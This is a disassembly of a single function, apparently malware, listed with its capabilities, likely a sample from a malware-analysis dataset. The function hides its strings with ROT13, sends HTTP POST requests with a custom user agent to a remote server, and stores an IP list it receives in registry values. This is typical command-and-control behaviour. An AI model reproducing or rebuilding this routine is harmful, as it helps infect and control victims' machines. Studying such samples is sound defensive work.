Function at 0x403550
Capabilities:
Connect to http server
Create http request
Delete registry key
Read data from internet
Receive data
Resolve function by parsing pe exports
Send data
Send http request
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x384
mov eax, dword [0x422330]
mov dword [esp + 0x380], eax
xor eax, eax
mov dword [esp + 0x6d], eax
mov dword [esp + 0x71], eax
mov dword [esp + 0x75], eax
push ebx
mov dword [esp + 0x7d], eax
push esi
mov dword [esp + 0x85], eax
lea ecx, [esp + 0x74]
push edi
mov word [esp + 0x8d], ax
xor ebx, ebx
push ecx
mov byte [esp + 0x7c], bl
mov byte [esp + 0x93], al
call fcn.004095b0
xor edx, edx
mov dword [esp + 0x49], edx
mov dword [esp + 0x4d], edx
mov dword [esp + 0x51], edx
mov dword [esp + 0x55], edx
mov dword [esp + 0x59], edx
lea eax, [esp + 0x48]
mov word [esp + 0x5d], dx
push eax
mov byte [esp + 0x4c], bl
mov byte [esp + 0x63], dl
call fcn.00409760
mov byte [esp + 0x150], bl
xor eax, eax
mov ecx, 0xf
lea edi, [esp + 0x151]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x150]
push ecx
stosb byte es:[edi], al
call fcn.00403150
mov ax, word [0x41b884]
mov cl, byte [0x41b886]
mov edx, dword [str._n.cuc]
mov word [esp + 0xf8], ax
mov byte [esp + 0xfa], cl
mov dword [esp + 0xf4], edx
xor eax, eax
mov ecx, 0xe
lea edi, [esp + 0xfb]
rep stosd dword es:[edi], eax
lea edx, [esp + 0xf4]
stosb byte es:[edi], al
push edx
mov eax, edx
push eax
call fcn.00404140
lea edi, [esp + 0xfc]
add esp, 0x14
dec edi
jmp 0x403650
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x403650
mov ecx, dword [str._cachingDeny]
mov edx, dword [0x41b590]
mov eax, dword [0x41b594]
mov dword [edi], ecx
mov cx, word [0x41b598]
mov dword [edi + 4], edx
mov dword [edi + 8], eax
lea eax, [esp + 0x78]
mov word [edi + 0xc], cx
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403682
lea edi, [esp + 0xe8]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x403693
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xe8]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x4036b3
mov edx, dword [str.id]
mov al, byte [0x41b588]
mov dword [edi], edx
mov byte [edi + 4], al
lea eax, [esp + 0x44]
mov esi, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4036d1
lea edi, [esp + 0xe8]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x4036e2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call fcn.0041278c
push eax
call fcn.0041275d
add esp, 8
call fcn.0041276a
cdq
mov ecx, 0x493e0
idiv ecx
push ebx
push ebx
push ebx
push 1
push str.Kvadrlson_1.0
mov esi, edx
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [esp + 0x18], eax
je 0x403949
push esi
push ebx
push 3
push ebx
push ebx
push 0x50
lea edx, [esp + 0x160]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x1c], edi
je 0x40393e
push esi
push 0x4000000
push ebx
push ebx
push str.HTTP_1.0
lea ecx, [esp + 0xfc]
push ecx
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
cmp esi, ebx
mov dword [esp + 0x14], esi
je 0x403937
push ebx
push 0x41b5fe
push ebx
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x403930
xor eax, eax
mov byte [esp + 0x188], bl
mov ecx, 0x3f
lea edi, [esp + 0x189]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [esp + 0x288], bl
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x289]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x288]
push str.FBSGJNERZvpebfbsgJvaqbjfPheeragIrefvbaFreiref
push edx
mov byte [esp + 0x14], bl
mov byte [esp + 0x15], bl
stosw word es:[edi], ax
call fcn.00404140
add esp, 8
lea eax, [esp + 0x288]
push eax
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x28c]
push edx
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [esp + 0x10]
push eax
push 1
lea ecx, [esp + 0x14]
push ecx
mov edx, esi
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [esp + 0x10], ebx
je 0x40391d
cmp eax, ebx
je 0x40391d
mov edi, 0x41b87c
lea esi, [esp + 0xc]
mov ecx, 2
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40389b
mov edi, 0x41b878
lea esi, [esp + 0xc]
mov ecx, 2
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40389b
lea eax, [esp + 0xc]
mov edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403870
lea edi, [esp + 0x188]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x403881
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x4038f4
lea eax, [esp + 0x188]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4038a5
sub eax, edx
mov dword [esp + 0x24], eax
je 0x4038f4
lea eax, [esp + 0x188]
push eax
mov ecx, eax
push ecx
call fcn.00404140
mov eax, dword [esp + 0x28]
add esp, 8
push ebx
push ebx
push 1
push ebx
lea edx, [esp + 0x198]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x188]
push 0x41b5fe
push ecx
call fcn.00411af5
add esp, 8
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push 1
lea ecx, [esp + 0x14]
mov byte [esp + edx + 0x14], bl
mov edx, dword [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [esp + 0x10], ebx
jne 0x403837
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor edx, edx
mov dword [esp + 0x91], edx
mov dword [esp + 0x95], edx
mov dword [esp + 0x99], edx
mov dword [esp + 0x9d], edx
mov dword [esp + 0xa1], edx
lea eax, [esp + 0x90]
mov word [esp + 0xa5], dx
push eax
mov byte [esp + 0x94], bl
mov byte [esp + 0xab], dl
call fcn.004095b0
mov ecx, dword [str._v.cuc]
mov al, byte [0x41b876]
mov dx, word [0x41b874]
mov dword [esp + 0xac], ecx
mov byte [esp + 0xb2], al
mov word [esp + 0xb0], dx
xor eax, eax
mov ecx, 0xe
lea edi, [esp + 0xb3]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xac]
push ecx
mov edx, ecx
push edx
stosb byte es:[edi], al
call fcn.00404140
lea edi, [esp + 0xb4]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x4039e5
mov eax, dword [str._cachingDeny]
mov ecx, dword [0x41b590]
mov edx, dword [0x41b594]
mov dword [edi], eax
mov ax, word [0x41b598]
mov dword [edi + 4], ecx
mov dword [edi + 8], edx
mov word [edi + 0xc], ax
lea eax, [esp + 0x90]
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403a20
lea edi, [esp + 0xa8]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x403a31
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xa8]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x403a51
mov ecx, dword [str.id]
mov dl, byte [0x41b588]
mov dword [edi], ecx
lea eax, [esp + 0x44]
mov byte [edi + 4], dl
mov esi, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403a70
lea edi, [esp + 0xa8]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x403a81
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call fcn.0041278c
push eax
call fcn.0041275d
add esp, 8
call fcn.0041276a
cdq
mov ecx, 0x493e0
idiv ecx
push ebx
push ebx
push ebx
push 1
push str.Kvadrlson_1.0
mov esi, edx
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [esp + 0x18], eax
je 0x403d77
push esi
push ebx
push 3
push ebx
push ebx
push 0x50
lea edx, [esp + 0x160]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x1c], edi
je 0x403d6c
push esi
push 0x4000000
push ebx
push ebx
push str.HTTP_1.0
lea ecx, [esp + 0xbc]
push ecx
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
cmp esi, ebx
mov dword [esp + 0x14], esi
je 0x403d65
push ebx
push 0x41b5fe
push ebx
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x403d5e
mov byte [esp + 0x188], bl
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x189]
rep stosd dword es:[edi], eax
push str.0123456789
lea ecx, [esp + 0x130]
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], bl
stosw word es:[edi], ax
call fcn.00402150
lea edx, [esp + 0x10]
push edx
push 1
lea eax, [esp + 0x14]
push eax
mov ecx, esi
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [esp + 0x10], ebx
je 0x403d4a
mov edi, edi
cmp eax, ebx
je 0x403d4a
mov edi, 0x41b87c
lea esi, [esp + 0xc]
mov ecx, 2
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x403bf4
mov edi, 0x41b878
lea esi, [esp + 0xc]
mov ecx, 2
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x403bf4
lea eax, [esp + 0xc]
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403bc6
lea edi, [esp + 0x188]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x403bd7
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x403d00
lea eax, [esp + 0x188]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403c00
sub eax, edx
mov dword [esp + 0x24], eax
je 0x403d00
mov edi, 0xf
lea eax, [esp + 0x188]
mov dword [esp + 0x74], edi
mov dword [esp + 0x70], ebx
mov byte [esp + 0x60], bl
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403c30
sub eax, edx
push eax
lea ecx, [esp + 0x18c]
push ecx
lea ecx, [esp + 0x64]
call fcn.00402030
mov edx, dword [esp + 0x70]
push 1
dec edx
push edx
lea eax, [esp + 0x64]
push eax
lea ecx, [esp + 0x34]
mov dword [esp + 0x4c], edi
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
call fcn.00401f40
mov eax, dword [esp + 0x40]
mov esi, 0x10
cmp eax, esi
mov eax, dword [esp + 0x2c]
jae 0x403c82
lea eax, [esp + 0x2c]
mov ecx, dword [esp + 0x3c]
push ecx
push ebx
push eax
lea ecx, [esp + 0x138]
call fcn.00403440
cmp eax, 0xffffffff
je 0x403d2b
lea edx, [esp + 0x188]
push edx
call fcn.004041e0
lea eax, [esp + 0x18c]
push 0x41b5fe
push eax
call fcn.00411af5
mov eax, dword [esp + 0x4c]
add esp, 0xc
cmp eax, esi
jb 0x403cd5
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.00412292
add esp, 4
cmp dword [esp + 0x74], esi
mov dword [esp + 0x40], edi
mov dword [esp + 0x3c], ebx
mov byte [esp + 0x2c], bl
jb 0x403cf4
mov edx, dword [esp + 0x60]
push edx
call fcn.00412292
add esp, 4
mov dword [esp + 0x74], edi
mov dword [esp + 0x70], ebx
mov byte [esp + 0x60], bl
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
push 1
lea edx, [esp + 0x14]
mov byte [esp + eax + 0x14], bl
mov eax, dword [esp + 0x1c]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [esp + 0x10], ebx
jne 0x403b90
jmp 0x403d4a
push str._nFucking_ips_list_is_over_or_was_corrupted__n
call fcn.0040a180
add esp, 4
lea ecx, [esp + 0x28]
call fcn.00401ab0
lea ecx, [esp + 0x5c]
call fcn.00401ab0
lea ecx, [esp + 0x12c]
call fcn.00401ab0
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [esp + 0x38c]
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret